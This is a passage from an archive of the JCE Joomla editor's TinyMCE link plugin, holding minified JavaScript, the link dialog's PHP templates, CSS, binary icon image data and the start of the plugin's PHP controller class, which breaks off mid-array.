!function(){var each=tinymce.each,fmts={p:"advanced.paragraph",address:"advanced.address",pre:"advanced.pre",h1:"advanced.h1",h2:"advanced.h2",h3:"advanced.h3",h4:"advanced.h4",h5:"advanced.h5",h6:"advanced.h6",div:"advanced.div",div_container:"advanced.div_container",blockquote:"advanced.blockquote",code:"advanced.code",samp:"advanced.samp",span:"advanced.span",section:"advanced.section",article:"advanced.article",aside:"advanced.aside",header:"advanced.header",footer:"advanced.footer",nav:"advanced.nav",figure:"advanced.figure",dt:"advanced.dt",dd:"advanced.dd"};tinymce.create("tinymce.plugins.FormatSelectPlugin",{init:function(ed,url){function isFormat(n){return tinymce.inArray(nodes,n.nodeName)!==-1}this.editor=ed;var nodes=[];each(ed.getParam("formatselect_blockformats",fmts,"hash"),function(v,k){nodes.push(k.toUpperCase())}),ed.onNodeChange.add(function(ed,cm,n){var p,c=cm.get("formatselect"),value="";c&&(p=ed.dom.getParent(n,isFormat,ed.getBody()),p&&p.nodeName&&(value=p.nodeName.toLowerCase()),c.select(value))})},createControl:function(n,cf){if("formatselect"===n)return this._createBlockFormats()},_createBlockFormats:function(){var c,ed=this.editor,PreviewCss=tinymce.util.PreviewCss;return c=ed.controlManager.createListBox("formatselect",{title:"advanced.block",onselect:function(v){return ed.execCommand("FormatBlock",!1,v),!1}}),c&&each(ed.getParam("formatselect_blockformats",fmts,"hash"),function(v,k){c.add(ed.translate(v,k),k,{class:"mce_formatPreview mce_"+k,style:function(){return PreviewCss(ed,{block:k})}})}),c}}),tinymce.PluginManager.add("formatselect",tinymce.plugins.FormatSelectPlugin)}();editor/tiny_mce/plugins/link/img/index.html000060400000000054150750527140015031 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/link/img/icons.png000060400000004141150750527140014656 0ustar00�PNG


IHDRd���(IDATx��PT�ǝŇu�bI&c'Bl���hDCl-�K1�&��!Q��(N����h���`�M-��+�
*�e%��_�<]���;˝�ܻ�t��pg��-�Ώ�{�w�����{ܐ�H
��%��}��
**���G/�6l+�1..��䔔���c6�cx,۰������i`kO.ݸ!�����d1�m�V\�h|�&��(,�%w�m�V|-""z��c��5��"-/�[�}lö��֭1}��蠘��4���H�r��z��>�'�c��_~��]=���h���Sq��Ъ<�2+�ſ�>E�;��[�7J"�6l+�z���##hhkCɽ{B���[P�V�����w����m�V�Upp\yw����͸��)���0xd���{~��,_8�
	�?��E�nA�ۋ�AYy}���I��џ�I�s��œ���l���n� q^;�ð�
��-�4���vu`n��M��-۰�8�+��3��gWsk�Η��h�&�6;r�eyY���C��Dž�����֡!�K��|�&x��!���x��!P;-QM�\i::p��z���#���۳'|ȼ��AO���r���'
q۰!��

	Q��rn.�srp��I����%\�vM�@�D�P(º��P@ n[[[%��EO����HY````��`@y�풸Lx��mG&<���ڑ"�_E����mTT�,���?R��!;;�.?\�M���w'na�g�P�o�Wef�1��-\�z�{


�$n_?S�R��3w�z�;��/�T�NP�@__�5e4�Jn�ܹ�-����T���{�,$d�,���gWMM
Ο?nO�>���R����SR�pdD�Ы��7ߌ�z{{�_UU�R	noQ~)//�h��ӳg1@Se(��/m��,p�…�8u����t�d�ôϡl�G�S''�hgg�XϺ��HLLĤ<��҉�'�oi�#|��?^�C�s$W��O�����n!5�`V��&Z<F�<��>>��D5G�[�1�c���ι�vD<�m�v&���.NV&)ǀ\p�2�L���-�����}J��{����U�Ç���^{����>�](;Š���\�������ۍ��$)9��)����Z���bN�ڟ�Y�7ת�Q���(��G3�[��U`����$]).�ͺ:䗗K���T
�DKI�g�*4t�U �ϥ{�y���E2E%�j
�S75	)�-[vZ����++��r��B����S(o����7��z+�*�����>y���i�i�� L�oYY��
P��7��@v��UVri&zZL��x�i�
�hr�T(��	6R��=���?(�<�Q��+��'
�ոZU���jSt[�溓���I�]� �S�,���'��(��0��YL�k�&�C����>�{:�`��籁���v��!�t����Jj�N�f�bȵ}����J�;@q��M�-��S���0����!D]�ڌn���t�H�-�Sl����vK?6�q�����W�C|zw�ҵ(Ҵ�u�] �cO����.�j@�v{���Ŷ	��/��@�=x�yeW:�%��H9V����d
^��a�X�+M�S����k�v%��l‚C�pM��KB)V�3b�2�wV�S�_2��[���`	^<�����/uX�K�!�h�X��r�uz#V(��c��B@r'^&�ߡk��v�u�] ����Y-�%�
z�\-��1J�k�9�g��`�\:���)a�N��)+��9��M�mV�\�AG��ju-*iVRR���*�J���7�y����ׇ����0.\���|"99�g���00888�7O��c$@kq�#��|�d��抺N�c�^�J&�	�T�V\\�<J�=�_�)���EK�S����Džõ^��.]�4V�j��$ꊋ��~���H�S������G�t�fk�9���N+n6��.ql8FR���&�c±�I%7�@�	ņc$�eܜRL�̱�%��e�����W!���퀟IEND�B`�editor/tiny_mce/plugins/link/tmpl/link.php000060400000006061150750527140014706 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

$search = $this->plugin->getSearch('link');
$links = $this->plugin->getLinks();

?>
<div class="uk-form-row">
    <label class="uk-form-label uk-width-1-5" for="href" class="hastip" title="<?php echo WFText::_('WF_LABEL_URL_DESC'); ?>"><?php echo WFText::_('WF_LABEL_URL'); ?></label>
    <div class="uk-form-controls uk-form-icon uk-form-icon-flip uk-width-4-5">
        <input id="href" type="text" value="" required class="browser" />
        <span class="email uk-icon uk-icon-envelope-o" title="<?php echo WFText::_('WF_LABEL_EMAIL'); ?>"></span>
    </div>
</div>
<div class="uk-form-row">
    <label for="text" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_LINK_LINK_TEXT_DESC'); ?>"><?php echo WFText::_('WF_LINK_LINK_TEXT'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input id="text" type="text" value="" required placeholder="<?php echo WFText::_('WF_ELEMENT_SELECTION'); ?>" />
    </div>
</div>
<?php if ($search->isEnabled() || count($links->getLists())) : ?>
    <div id="link-options" class="uk-placeholder">
        <?php echo $search->render(); ?>
        <?php echo $links->render(); ?>
    </div>
<?php endif; ?>
<div class="uk-form-row" id="attributes-anchor">
    <label for="anchor" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_LABEL_ANCHORS_DESC'); ?>"><?php echo WFText::_('WF_LABEL_ANCHORS'); ?></label>
    <div class="uk-form-controls uk-width-4-5" id="anchor_container"></div>
</div>

<div class="uk-form-row" id="attributes-target">
    <label for="target" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_LABEL_TARGET_DESC'); ?>"><?php echo WFText::_('WF_LABEL_TARGET'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <select id="target">
            <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="_self"><?php echo WFText::_('WF_OPTION_TARGET_SELF'); ?></option>
            <option value="_blank"><?php echo WFText::_('WF_OPTION_TARGET_BLANK'); ?></option>
            <option value="_parent"><?php echo WFText::_('WF_OPTION_TARGET_PARENT'); ?></option>
            <option value="_top"><?php echo WFText::_('WF_OPTION_TARGET_TOP'); ?></option>
        </select>
    </div>
</div>

<div class="uk-form-row" id="attributes-title">
    <label class="uk-form-label uk-width-1-5" for="title" class="hastip" title="<?php echo WFText::_('WF_LABEL_TITLE_DESC'); ?>"><?php echo WFText::_('WF_LABEL_TITLE'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input id="title" type="text" value="" />
    </div>
</div>
editor/tiny_mce/plugins/link/tmpl/default.php000060400000002000150750527140015362 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');

$tabs = WFTabs::getInstance();

?>
<form action="#" class="uk-form uk-form-horizontal">
	<!-- Render Tabs -->
	<?php $tabs->render(); ?>
	<!-- Token -->	
	<input type="hidden" id="token" name="<?php echo WFToken::getToken(); ?>" value="1" />
</form>
<div class="actionPanel">
	<button class="button" id="insert"><?php echo WFText::_('WF_LABEL_INSERT')?></button>
	<button class="button" id="help"><?php echo WFText::_('WF_LABEL_HELP')?></button>
	<button class="button" id="cancel"><?php echo WFText::_('WF_LABEL_CANCEL')?></button>
</div>editor/tiny_mce/plugins/link/tmpl/index.html000060400000000054150750527140015231 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/link/tmpl/advanced.php000060400000017373150750527140015526 0ustar00<?php
/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="id" class="hastip" title="<?php echo WFText::_('WF_LABEL_ID_DESC'); ?>"><?php echo WFText::_('WF_LABEL_ID'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><input id="id" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="style" class="hastip" title="<?php echo WFText::_('WF_LABEL_STYLE_DESC'); ?>"><?php echo WFText::_('WF_LABEL_STYLE'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><input type="text" id="style" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="classes" class="hastip" title="<?php echo WFText::_('WF_LABEL_CLASSES_DESC'); ?>"><?php echo WFText::_('WF_LABEL_CLASSES'); ?></label>
        <div class="uk-form-controls uk-width-7-10 uk-datalist">
            <input type="text" id="classes" value="" />
            <select id="classlist"></select>
        </div>
    </div>

    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="dir" class="hastip" title="<?php echo WFText::_('WF_LABEL_DIR_DESC'); ?>"><?php echo WFText::_('WF_LABEL_DIR'); ?></label>
        <div class="uk-form-controls uk-width-7-10">
            <select id="dir">
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="ltr"><?php echo WFText::_('WF_OPTION_LTR'); ?></option>
                <option value="rtl"><?php echo WFText::_('WF_OPTION_RTL'); ?></option>
            </select>
        </div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="hreflang" class="hastip" title="<?php echo WFText::_('WF_LABEL_HREFLANG_DESC'); ?>"><?php echo WFText::_('WF_LABEL_HREFLANG'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><input type="text" id="hreflang" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="lang" class="hastip" title="<?php echo WFText::_('WF_LABEL_LANG_DESC'); ?>"><?php echo WFText::_('WF_LABEL_LANG'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><input id="lang" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="charset" class="hastip" title="<?php echo WFText::_('WF_LABEL_CHARSET_DESC'); ?>"><?php echo WFText::_('WF_LABEL_CHARSET'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><input type="text" id="charset" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="type" class="hastip" title="<?php echo WFText::_('WF_LABEL_MIME_TYPE_DESC'); ?>"><?php echo WFText::_('WF_LABEL_MIME_TYPE'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><input type="text" id="type" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="rel" class="hastip" title="<?php echo WFText::_('WF_LABEL_REL_DESC'); ?>"><?php echo WFText::_('WF_LABEL_REL'); ?></label>
        <div class="uk-form-controls uk-width-7-10 uk-datalist">
          <input type="text" id="rel" />
          <select>
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="nofollow">No Follow</option>
                <option value="alternate">Alternate</option>
                <option value="designates">Designates</option>
                <option value="stylesheet">Stylesheet</option>
                <option value="start">Start</option>
                <option value="next">Next</option>
                <option value="prev">Prev</option>
                <option value="contents">Contents</option>
                <option value="index">Index</option>
                <option value="glossary">Glossary</option>
                <option value="copyright">Copyright</option>
                <option value="chapter">Chapter</option>
                <option value="subsection">Subsection</option>
                <option value="appendix">Appendix</option>
                <option value="help">Help</option>
                <option value="bookmark">Bookmark</option>
            </select>
        </div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="rev" class="hastip" title="<?php echo WFText::_('WF_LABEL_REV_DESC'); ?>"><?php echo WFText::_('WF_LABEL_REV'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><select id="rev">
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="alternate">Alternate</option>
                <option value="designates">Designates</option>
                <option value="stylesheet">Stylesheet</option>
                <option value="start">Start</option>
                <option value="next">Next</option>
                <option value="prev">Prev</option>
                <option value="contents">Contents</option>
                <option value="index">Index</option>
                <option value="glossary">Glossary</option>
                <option value="copyright">Copyright</option>
                <option value="chapter">Chapter</option>
                <option value="subsection">Subsection</option>
                <option value="appendix">Appendix</option>
                <option value="help">Help</option>
                <option value="bookmark">Bookmark</option>
            </select>
        </div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="tabindex" class="hastip" title="<?php echo WFText::_('WF_LABEL_TABINDEX_DESC'); ?>"><?php echo WFText::_('WF_LABEL_TABINDEX'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><input type="text" id="tabindex" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-3-10" for="accesskey" class="hastip" title="<?php echo WFText::_('WF_LABEL_ACCESSKEY_DESC'); ?>"><?php echo WFText::_('WF_LABEL_ACCESSKEY'); ?></label>
        <div class="uk-form-controls uk-width-7-10"><input type="text" id="accesskey" value="" /></div>
    </div>

    <!--div class="uk-form-row">
    <div class="uk-form-controls">
      <div class="uk-repeatable">
        <div class="uk-form-controls uk-grid uk-grid-small uk-margin-small uk-width-1-1">
          <label class="uk-form-label uk-width-2-10">
            <?php echo WFText::_('WF_LABEL_NAME'); ?>
          </label>
          <div class="uk-form-controls uk-width-3-10">
            <input type="text" name="custom_name[]" />
          </div>
          <label class="uk-form-label uk-width-2-10">
            <?php echo WFText::_('WF_LABEL_VALUE'); ?>
          </label>
          <div class="uk-form-controls uk-width-3-10">
            <input type="text" name="custom_value[]" />
          </div>
        </div>
        <div class="uk-form-controls uk-width-1-10 uk-margin-small-left">
          <button type="button" class="uk-button uk-repeatable-create">
            <i class="uk-icon-plus"></i>
          </button>
          <button type="button" class="uk-button uk-repeatable-delete">
            <i class="uk-icon-trash"></i>
          </button>
        </div>
      </div>
    </div>
  </div-->
editor/tiny_mce/plugins/link/js/link.js000060400000026133150750527140014175 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function($,tinyMCEPopup){var emailRex=/(([^<>()\[\]\.,;:\s@\"]+(\.[^<>()\[\]\.,;:\s@\"]+)*)|(\".+\"))@(([^<>()[\]\.,;:\s@\"]+\.)+[^<>()[\]\.,;:\s@\"]{2,})/,toggleTargetRules=function(rel,isUnsafe){var rules=["noopener"],newRel=rel?rel.split(/\s+/):[],toString=function(rel){return $.trim(rel.sort().join(" "))},addTargetRules=function(rel){return rel=removeTargetRules(rel),rel.length?rel.concat(rules):rules},removeTargetRules=function(rel){return rel.filter(function(val){return $.inArray(val,rules)===-1})};return newRel=isUnsafe?addTargetRules(newRel):removeTargetRules(newRel),newRel.length?toString(newRel):null},LinkDialog={settings:{},init:function(){function setText(state,v){state&&v?$("#text").val(v).attr("disabled",!1):$("#text").val("").attr("disabled",!0).parents("tr").hide()}var n,el,self=this,ed=tinyMCEPopup.editor,se=ed.selection;if(tinyMCEPopup.restoreSelection(),$("button#insert").click(function(e){self.insert(),e.preventDefault()}),this.settings.file_browser||$("#href").removeClass("browser"),$(".email").click(function(){LinkDialog.createEmail()}),$("#anchor_container").html(this.getAnchorListHTML("anchor","href")),$("#link-browser").tree({collapseTree:!0,charLength:50}).on("tree:nodeclick",function(e,node){var v;$(node).hasClass("folder")&&$(this).trigger("tree:togglenode",[e,node]),$(node).hasClass("nolink")||(v=$("a",node).attr("href"),"#"==v&&(v=$(node).attr("data-id")||$(node).attr("id")),self.insertLink(Wf.String.decode(v)))}).on("tree:nodeload",function(e,node){var self=this;$(this).trigger("tree:toggleloader",node);var id=$(node).attr("data-id")||$(node).attr("id"),query=Wf.String.query(Wf.String.unescape(id));Wf.JSON.request("getLinks",{json:query},function(o){if(o)if(o.error)Wf.Modal.alert(o.error);else{var ul=$("ul:first",node);ul&&$(ul).remove(),o.folders&&o.folders.length&&$(self).trigger("tree:createnode",[o.folders,node,!1]),$(self).trigger("tree:togglenodestate",[node,!0])}$(self).trigger("tree:toggleloader",node)},self)}).trigger("tree:init"),$("#search-button").click(function(e){self._search(),e.preventDefault()}).button({icons:{primary:"uk-icon-search"}}),$("#search-clear").click(function(e){$(this).hasClass("uk-active")&&($(this).removeClass("uk-active"),$("#search-input").val(""),$("#search-result").empty().hide())}),$("#search-options-button").click(function(e){e.preventDefault(),$(this).addClass("uk-active");var $p=$("#search-options").parent();$("#search-options").height($p.parent().height()-$p.outerHeight()-15).toggle()}).on("close",function(){$(this).removeClass("uk-active"),$("#search-options").hide()}),$(el).on("change keyup",function(){""===this.value&&($("#search-result").empty().hide(),$("#search-clear").removeClass("uk-active"))}),WFPopups.setup(),!se.isCollapsed()){n=se.getNode();var state=!0,v="";if(n){n=ed.dom.getParent(n,"A")||n;var v=se.getContent({format:"text"}),shortEnded=ed.schema.getShortEndedElements();if(tinymce.isIE||tinymce.isIE11){var start=se.getStart(),end=se.getEnd();start===end&&"A"===start.nodeName&&(n=start)}if("A"===n.nodeName){var i,nodes=n.childNodes;if(0===nodes.length)state=!1;else for(i=nodes.length-1;i>=0;i--)if(3!==nodes[i].nodeType){state=!1;break}}else shortEnded[n.nodeName]?state=!1:/</.test(se.getContent())&&(state=!1)}setText(state,v)}if(Wf.init(),$.each(this.settings.attributes,function(k,v){0===parseInt(v)&&$("#attributes-"+k).hide()}),n&&"A"==n.nodeName){$(".uk-button-text","#insert").text(tinyMCEPopup.getLang("update","Update",!0));var href=decodeURIComponent(ed.convertURL(ed.dom.getAttrib(n,"href"))),attribs={};$.each(n.attributes,function(i,attr){return"href"===attr.name||(attr.name.indexOf("data-mce-")!==-1||void(attribs[attr.name]=attr.value))}),$("#href").val(href),$.each(["title","id","style","dir","rev","rel","lang","tabindex","accesskey","class","charset","hreflang","target"],function(i,k){$("#"+k).val(ed.dom.getAttrib(n,k)),delete attribs[k]}),"#"==href.charAt(0)&&$("#anchor").val(href),$("#classes").val(ed.dom.getAttrib(n,"class"));var data=WFPopups.getPopup(n)||{};$("#rel").val(function(){var v=data.rel;return"string"!==$.type(v)&&(v=ed.dom.getAttrib(n,"rel")),v=ed.dom.encode(v),0==$('option[value="'+v+'"]',this).length&&($(this).append(new Option(v,v)),$(this).val(v)),v});var x=0;$.each(attribs,function(k,v){try{v=decodeURIComponent(v)}catch(e){}var repeatable=$(".uk-repeatable","#advanced_tab").eq(0);x>0&&$(repeatable).clone(!0).appendTo($(repeatable).parent());var elements=$(".uk-repeatable","#advanced_tab").eq(x).find("input, select");$(elements).eq(0).val(k),$(elements).eq(1).val(v),x++})}else Wf.setDefaults(this.settings.defaults);"html5"==ed.settings.schema&&ed.settings.validate&&$("#rev").parent().parent().hide(),window.focus()},getAnchorListHTML:function(id,target){var name,ed=tinyMCEPopup.editor,nodes=ed.dom.select(".mce-item-anchor"),html="";return html+='<select id="'+id+'" class="mceAnchorList" onchange="this.form.'+target+".value=",html+='this.options[this.selectedIndex].value;">',html+='<option value="">---</option>',$.each(nodes,function(i,n){"SPAN"==n.nodeName?name=ed.dom.getAttrib(n,"data-mce-name")||ed.dom.getAttrib(n,"id"):n.href||(name=ed.dom.getAttrib(n,"name")||ed.dom.getAttrib(n,"id")),name&&(html+='<option value="#'+name+'">'+name+"</option>")}),html+="</select>"},checkPrefix:function(n){var self=this,v=$(n).val();emailRex.test(v)&&!/^\s*mailto:/i.test(v)?Wf.Modal.confirm(tinyMCEPopup.getLang("link_dlg.is_email","The URL you entered seems to be an email address, do you want to add the required mailto: prefix?"),function(state){state&&$(n).val("mailto:"+v),self.insertAndClose()}):/^\s*www./i.test(v)?Wf.Modal.confirm(tinyMCEPopup.getLang("link_dlg.is_external","The URL you entered seems to be an external link, do you want to add the required http:// prefix?"),function(state){state&&$(n).val("http://"+v),self.insertAndClose()}):this.insertAndClose()},insert:function(){tinyMCEPopup.restoreSelection();var ed=tinyMCEPopup.editor,se=ed.selection;return""==$("#href").val()?(Wf.Modal.alert(ed.getLang("link_dlg.no_href","A URL is required. Please select a link or enter a URL"),{close:function(){$("#href").focus()}}),!1):se.isCollapsed()&&""==$("#text").not(":disabled").val()?(Wf.Modal.alert(ed.getLang("link_dlg.no_text","Please enter some text for the link"),{close:function(){$("#text").focus()}}),!1):this.checkPrefix($("#href"))},insertAndClose:function(){tinyMCEPopup.restoreSelection();var el,se=(ed=tinyMCEPopup.editor,ed.selection),n=se.getNode(),args={},attribs=["href","title","target","id","style","class","rel","rev","charset","hreflang","dir","lang","tabindex","accesskey","type"];tinymce.each(attribs,function(k){var v=$("#"+k).val();v=tinymce.trim(v),"href"==k&&(v=Wf.String.buildURI(v)),"class"==k&&(v=$("#classlist").val()||$("#classes").val()||""),args[k]=v}),$(".uk-repeatable","#advanced_tab").each(function(){var elements=$("input, select",this),key=$(elements).eq(0).val(),value=$(elements).eq(1).val();args[key]=value}),ed.settings.allow_unsafe_link_target||(args.rel=toggleTargetRules(args.rel,"_blank"==args.target&&/:\/\//.test(args.href)));var txt=$("#text").val();if(se.isCollapsed())ed.execCommand("mceInsertContent",!1,'<a href="'+args.href+'" id="__mce_tmp">'+txt+"</a>",{skip_undo:1}),el=ed.dom.get("__mce_tmp"),ed.dom.setAttribs(el,args);else{n&&"A"===n.nodeName?ed.dom.setAttribs(n,{href:args.href,"data-mce-tmp":"1"}):ed.execCommand("mceInsertLink",!1,{href:args.href,"data-mce-tmp":"1"}),ed.dom.setAttrib(n,"style",ed.dom.getAttrib(n,"data-mce-style"));var elms=ed.dom.select("a[data-mce-tmp]");args["data-mce-tmp"]=null,tinymce.each(elms,function(elm,i){ed.dom.setAttribs(elm,args),i>0&&args.id&&ed.dom.setAttrib(elm,"id",""),txt&&(1===elm.nodeType&&(elm=elm.firstChild),"innerText"in elm?elm.innerText=txt:elm.textContent=txt)}),elms.length&&(el=elms[0])}txt&&(ed.selection.select(el),ed.selection.collapse(0)),el=el||n,WFPopups.createPopup(el),ed.undoManager.add(),ed.nodeChanged(),tinyMCEPopup.close()},setClasses:function(v){Wf.setClasses(v)},setTargetList:function(v){$("#target").val(v)},setClassList:function(v){$("#classlist").val(v)},insertLink:function(v){$("#href").val(tinyMCEPopup.editor.documentBaseURI.toRelative(v))},createEmail:function(){var ed=tinyMCEPopup.editor,fields='<div class="uk-form-horizontal">';$.each(["mailto","cc","bcc","subject"],function(i,k){fields+='<div class="uk-form-row"><label class="uk-form-label uk-width-3-10" for="email_'+k+'">'+ed.getLang("link_dlg."+k,k)+'</label><div class="uk-form-controls uk-width-7-10"><textarea id="email_'+k+'"></textarea></div></div>'}),fields+="</div>",Wf.Modal.open(ed.getLang("link_dlg.email","Create E-Mail Address"),{width:300,open:function(){var v=$("#href").val();if(v&&emailRex.test(v)){var parts=v.replace(/\?/,"&").replace(/\&amp;/g,"&").split("&"),address=parts.shift();$("#email_mailto").val(address.replace(/^mailto\:/,"")),$.each(parts,function(i,s){var k=s.split("=");2===k.length&&$("#email_"+k[0]).val(k[1])})}},buttons:[{text:ed.getLang("link_dlg.create_email","Create Email"),click:function(){var args=[],errors=0;$.each(["mailto","cc","bcc","subject"],function(i,s){var v=$("#email_"+s).val();v&&(v=v.replace(/\n\r/g,""),$.each(v.split(","),function(i,o){if("subject"!==s&&!/@/.test(o)){var msg=ed.getLang("link_dlg.invalid_email","%s is not a valid e-mail address!");Wf.Modal.alert(msg.replace(/%s/,ed.dom.encode(o))),errors++}}),args.push("mailto"==s?v:s+"="+v))}),0===errors&&(args.length&&$("#href").val("mailto:"+args.join("&").replace(/&/,"?")),$(this).trigger("modal.close"))},attributes:{class:"uk-button-primary"},icon:"uk-icon-check"},{text:ed.getLang("dlg.cancel","Cancel"),icon:"uk-icon-close",attributes:{class:"uk-modal-close"}}]},fields)},openHelp:function(){Wf.help("link")},_search:function(){var self=this,$p=$("#search-result").parent(),query=$("#search-input").val();query&&!$("#search-input").hasClass("placeholder")&&($("#search-clear").removeClass("uk-active"),$("#search-browser").addClass("loading"),query=$.trim(query.replace(/[\/\/\/<>#]/g,"")),Wf.JSON.request("doSearch",{json:[query]},function(o){o&&!o.error?($("#search-result").empty(),o.length&&($.each(o,function(i,n){var $dl=$('<dl class="uk-margin-small" />').appendTo("#search-result");$('<dt class="link uk-margin-small" />').text(n.title).click(function(){self.insertLink(Wf.String.decode(n.link))}).prepend('<i class="uk-icon uk-icon-file-text-o uk-margin-small-right" />').appendTo($dl),$('<dd class="text">'+n.text+"</dd>").appendTo($dl),n.anchors&&$.each(n.anchors,function(i,a){$('<dd class="anchor"><i role="presentation" class="uk-icon uk-icon-anchor uk-margin-small-right"></i>#'+a+"</dd>").click(function(){self.insertLink(Wf.String.decode(n.link+"#"+a))}).appendTo($dl)})}),$("dl:odd","#search-result").addClass("odd")),$("#search-options-button").trigger("close"),$("#search-result").height($p.parent().height()-$p.outerHeight()-5).show()):Wf.Modal.alert(o.error||"The server return an invalid response"),$("#search-browser").removeClass("loading"),$("#search-clear").addClass("uk-active")},self))}};$(document).ready(function(){LinkDialog.init()}),window.LinkDialog=LinkDialog}(jQuery,tinyMCEPopup);editor/tiny_mce/plugins/link/js/index.html000060400000000054150750527140014671 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/link/css/index.html000060400000000054150750527140015045 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/link/css/link.css000060400000001162150750527140014520 0ustar00#href{padding-right:60px!important}#link_tab fieldset{margin:10px 0;padding:2px}#link-options{padding:5px;margin:5px 0;min-height:65.4%;min-height:calc(100% - 175px);box-sizing:border-box}#link-browser{overflow:auto;padding:0 5px;box-sizing:border-box;height:240px;margin-top:5px}#text::-moz-placeholder{color:transparent!important}#text::-webkit-input-placeholder{color:transparent!important}#text:-ms-input-placeholder{color:transparent!important}#text[disabled]::-webkit-input-placeholder{color:inherit!important}#text[disabled]::-moz-placeholder{color:inherit!important}.anchor .uk-icon-file-text-o:before{content:"\f13d"}editor/tiny_mce/plugins/link/classes/link.php000060400000006312150750527140015366 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

// Load class dependencies
wfimport('editor.libraries.classes.plugin');
wfimport('editor.libraries.classes.extensions.search');
wfimport('editor.libraries.classes.extensions.link');
wfimport('editor.libraries.classes.extensions.popups');

// Link Plugin Controller
class WFLinkPlugin extends WFEditorPlugin
{
    /*
     *  @var varchar
     */

    public $extensions = array();
    public $popups = array();
    public $tabs = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $this->getLinks();
        $this->getSearch('link');
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();
        $settings = $this->getSettings();

        $document->addScriptDeclaration('LinkDialog.settings='.json_encode($settings).';');

        $tabs = WFTabs::getInstance(array(
                    'base_path' => WF_EDITOR_PLUGIN,
                ));

        // Add tabs
        $tabs->addTab('link', 1, array('plugin' => $this));
        $tabs->addTab('advanced', $this->getParam('tabs_advanced', 1));

        // get and display links
        $links = $this->getLinks();
        $links->display();

        // get and display search
        $search = $this->getSearch('link');
        $search->display();

        // Load Popups instance
        $popups = WFPopupsExtension::getInstance(array(
            'text' => false,
            'default' => $this->getParam('link.popups.default', ''),
        ));

        $popups->display();

        // add link stylesheet
        $document->addStyleSheet(array('link'), 'plugins');
        // add link scripts last
        $document->addScript(array('link'), 'plugins');
    }

    public function getLinks()
    {
        static $links;

        if (!isset($links)) {
            $links = WFLinkExtension::getInstance();
        }

        return $links;
    }

    public function getSearch($type = 'link')
    {
        static $search;

        if (!isset($search)) {
            $search = array();
        }

        if (empty($search[$type])) {
            $search[$type] = WFSearchExtension::getInstance($type);
        }

        return $search[$type];
    }

    public function getSettings($settings = array())
    {
        $profile = $this->getProfile();

        $settings = array(
            'file_browser' => $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins)),
